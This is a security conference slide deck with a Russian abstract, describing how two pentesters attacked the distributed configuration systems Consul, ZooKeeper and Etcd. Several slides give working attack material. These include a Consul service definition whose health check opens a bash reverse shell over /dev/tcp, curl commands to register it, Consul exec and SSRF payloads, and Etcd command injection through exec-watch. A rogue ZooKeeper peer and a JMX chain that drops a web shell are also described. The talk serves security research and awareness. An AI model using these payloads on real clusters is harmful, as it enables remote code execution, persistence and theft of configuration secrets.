В лекции речь пойдет о том, как команда исследователей обнаружила и эксплуатировала уязвимости различных систем конфигурационного управления в ходе пентестов. Авторы представят различные инструменты распределенного управления конфигурациями, например Apache ZooKeeper, HashiCorp Consul и Serf, CoreOS Etcd; расскажут о способах создания отпечатков этих систем, а также о том, как использовать в своих целях типичные ошибки в конфигурации для увеличения площади атак.

1. How we hacked DCMs?
Bharadwaj Machiraju (@tunnelshade_)
Francis Alexander (@torque59)

2. #whoarewe
◦ FOSS & Python guys.
◦ Incase you use OWASP OWTF/NoSQL
Exploitation Framework, buy us a beer.
◦ Appsec Engineers at Envestnet Yodlee (fintech).
◦ Mostly we will talk about some nice pwn stories.

3. DCM = Distributed Configuration Management

4. When dinosaurs were alive ...
Application
Server
DatabaseUser

5. Present day scenario!
API Gateway
User
Message
Broker
Microservice 1
Job
Scheduler
Microservice 2
Keystore
Storage

6. General Necessity!
◦ Distributed nature of applications lead to the
necessity of distributed configuration
management for simplifying the process of
▫ Maintenance of infrastructure.
▫ Synchronization of processes.
▫ Service discovery.

7. General Our Necessity!
◦ Look cool in pentest reports!!
◦ As other application’s configurations are present
here, it is a goldmine.
◦ And if you get to editing these configurations ...

8. Types of DCMs

9. 1. Ensemble Type
◦ Cluster of servers in sync.
◦ Queried by the applications for shared data.
◦ Apache Zookeeper & Etcd are popular examples.
◦ Sample Usage: Provide synchronization between
processes.

10. 2. Agent Type
◦ A lightweight agent in every instance.
◦ Agents communicate using gossip protocol (a p2p
protocol).
◦ Serf & Consul are popular examples.
◦ Sample Usage: Discover app instances and add
them to load balancer.
◦ Our favorite type :D

11. HashiCorp

12. HashiCorp Consul
◦ Agent type. Built on top Serf.
◦ Provides service discovery.
◦ Uses a microservice interface to a replicated view
of your topology and its configuration.
◦ Can monitor and change services topology based
on health.

14. Consul Agent (Master & Slave)
◦ Has client and master modes.
◦ All nodes run an agent.
◦ Stays in sync, interface with REST and DHCP
◦ RAFT quorum, who is leader/master.
◦ Handles WAN gossip to other datacenters.
◦ Forwards queries to leader/master.

15. Security Overview
◦ No Authentication by default.
◦ Enumerate Services through HTTP API.
◦ SSRF feature/vulnerability.
◦ RCE through services and event firing.

16. Some Interesting API’s
◦ Agent HTTP Endpoint
▫ /v1/agent/checks : Returns the checks the local agent is
managing
▫ /v1/agent/services : Returns the services the local agent is
managing
◦ Coordinate HTTP Endpoint
▫ /v1/coordinate/datacenters : Queries for WAN coordinates
of Consul servers.

17. SSRF With Join Endpoint
◦ Triggers the local agent to join a node.
◦ /v1/agent/join/<address>
Final Payload
http://localhost:8500/v1/agent/join/127.0.0.1:port.

18. Remote Code Execution - I
◦ Execute your code through events.
◦ Consul exec provides an interface to run these.
How does it Work
◦ Create session: PUT /v1/session/create
◦ Create Rexec event: PUT
/v1/kv/_rexec/job-uuid/job?acquire=job-uuid.
◦ Fire the event: PUT /v1/event/fire/_rexec

19. Remote Code Execution - I
Final Payload
◦ consul exec -http-addr=remote_addr
[whoami/payload].
◦ If disable_remote_execution is enabled then we
are out of luck (which mostly never happens
though !!).

20. Demo

22. Remote Code Execution - II
◦ Execute your code by registering as services.
◦ We could then leverage checks to get our code
executed.
◦ Services are synced and then executed.
◦ Once done with your work de-register and come
out.

23. Remote Code Execution - II
Registering a Service
◦ Sample Service:With Check
{ "ID": "http",
"Name": "http",
"Address": "0.0.0.0",
"Port": 80,
"check": {
"script": "bash -i >& /dev/tcp/0.0.0.0/8081 0>&1",
"interval": "10s"
}

24. Remote Code Execution - II
Final Payload
◦ Use Curl
▫ curl -X PUT --data-binary @test.json
http://localhost:8500/v1/agent/service/regi
ster
◦ Check : dig @127.0.0.1 -p 8600 http.service.consul.
◦ Open netcat you should have your shell ready.

25. Remote Code Execution - II
Final Thoughts.
◦ If not de-registered, the service should be running
and you should have persistence.
◦ Deregistering is simple
(/deregister/service-name)

26. Demo

28. Apache Zookeeper
Because coordinating distributed applications is a zoo

29. Apache Zookeeper
◦ Ensemble type.
◦ Cluster of servers available to query.
◦ The name space provided is much like that of a
standard file system.
◦ A name is a sequence of path elements separated
by a slash (/). Every node is identified by a path.

30. It looks like (meh)

31. Hierarchical Namespace

32. Quorum Peer
◦ One server in quorum is called quorum peer.
◦ Each one has three ports open
▫ Intercom. ports (Default: 2888 & 3888)
▫ Client port (Default: 2181)

33. Simple API
◦ create/delete/exists node
◦ get/set data node
◦ get children node
◦ sync
◦ watch node
◦ Libs available in all languages exposing this api.

34. Auth?
◦ Optional Auth ← People are Lazy (Proof:
Shodan)
◦ Different kinds of auth are supported.
◦ No auth is fine, but if auth then we need a way.
◦ Next logical step was to dive into internals of zk.
◦ For that

35. Installed Eclipse & configured JAVA

36. Let us try Hey man,
where is
the auth?

37. Bits and Pieces!
◦ Custom binary protocol using Apache Jute.
◦ Only one vulnerability known till date
CVE-2015-5017 (Buffer Overflow in ZK C cli shell)
◦ But then ...

38. Hey, please
sync with this
latest data
snapshot!
Hi, I am
your
follower.

39. Rogue Quorum Peer <= 3.4.9
◦ Introduce a rogue follower to quorum leader
gives you access to data along with the auth info
for certain auth providers.
◦ So, whenever you want to modify existing data,
just resubmit the auth info along with write
request to the leader. KABOOOM!!

41. Demo

42. Why is Zookeeper important?
◦ Used in many awesome products mainly from
Apache.
◦ Apache HBase non related distributed db.
◦ Uses zk for synchronization.

43. HBase

44. Briefly,
◦ Every HMaster creates an ephemeral node and
backup masters just wait.
◦ If you can bypass auth and write/delete this
ephemeral node, you can add a rogue master.
◦ Give it time :P or force crash the old master for all
region servers to connect to your rogue.
◦ Extrapolation of CVE-2015-1836.

45. Briefly

46. JMX and Zookeeper are Buddies
◦ Zookeeper runs JMX by default but on loopback.
◦ Instances having remotely accessible JMX are fun.
◦ End Result: Chain set of Bugs to RCE.

47. How we did it luckily!!
◦ Memory can be accessed through JMX which can
be written to a file.
◦ We used Zookeeper to pop a php/jsp shell by
creating a node with our code as its value.
◦ Multiple reads of the node makes it available in
the memory.
◦ Dump to an executable location within the web
server. PWN !!!

49. CoreOS

50. Architecture

51. Etcd Basics
◦ Nodes get Connected to the Main Server (Cluster)
◦ Stores data persistently
◦ Takes snapshots.
◦ Like a directory tree.
◦ Uses a discovery URL.

52. Etcd API
◦ put key value
◦ get key
◦ del --from-key a
◦ snapshot save snapshot.db
◦ watch
Either use CURL or get yourself etcdctl

53. Inherent [In]security
◦ No Authentication by default.
◦ Authentication sucks if not implemented properly.
◦ HTTP Endpoints available at your disposal.
◦ RCE through un-authenticated instances when
exposed with a feature.

54. But it is 2017 right!!
◦ Users and roles implemented in Etcd>=2.1
◦ Auth can be switched on by enabling root
user.
◦ But ...
◦ Guest account gets enabled by default.
◦ guest users have read and write
privileges.

56. Use Case - Chain to RCE
◦ Etcd allows usage of watchers.
◦ Watch a node and execute commands
◦ We came across $ETCD_WATCH_VALUE
◦ We saw some pretty dumb implementations.
◦ Etcd does not filter values coming to
ETCD_WATCH_VALUE

57. etcdctl exec-watch --recursive /foo_dir/foo --sh -c
'$ETCD_WATCH_VALUE'

58. Let the request talk.
curl http://<ip>:2379/v2/keys/foo_dir/foo -X PUT
-d value="ls"
Pwn !!

59. Brainstorm!!!
◦ Requires write operation, to write to the key, and
we should probably have luck with monitoring
using exec-watch, which most people do !!.
◦ Etcd is being used in Kubernetes. You cannot be
more Evil.

60. Demo

62. Etcd is nice
◦ Some of the attacks, only applicable if instance is
not authenticated.
◦ You can add rogue members.
◦ Check for health.
◦ Get the connected members’ list.

63. Lots of DCMs Pwnage
Automation !!

64. Garfield
◦ Wannabe distributed application stack scanner.
◦ Currently supports DCMs - Zk, Etcd and Consul.
Written in <3 with Python.

67. Demos

68. References
◦ CoreOS Etcd (https://coreos.com/etcd)
◦ Apache Zookeeper (https://zookeeper.apache.org/)
◦ Hashicorp Consul (https://www.consul.io/)
◦ Zk (https://zookeeper.apache.org/doc/trunk/zookeeperOver.html)
Ongoing Work
◦ Not yet broken auth providers in zookeeper.
◦ Kubernetes access through etcd.
◦ Other distributed systems using zookeeper.

69. Shouts!!
PhDays (y)
Wonderful folks of #appsec@yodlee
Kamaiah Nadavala
Ajin Abraham

70. Thank You!
Bharadwaj Machiraju
@tunnelshade_
blog.tunnelshade.in
Francis Alexander
@torque59
nosqlproject.com
github.com/torque59/garfield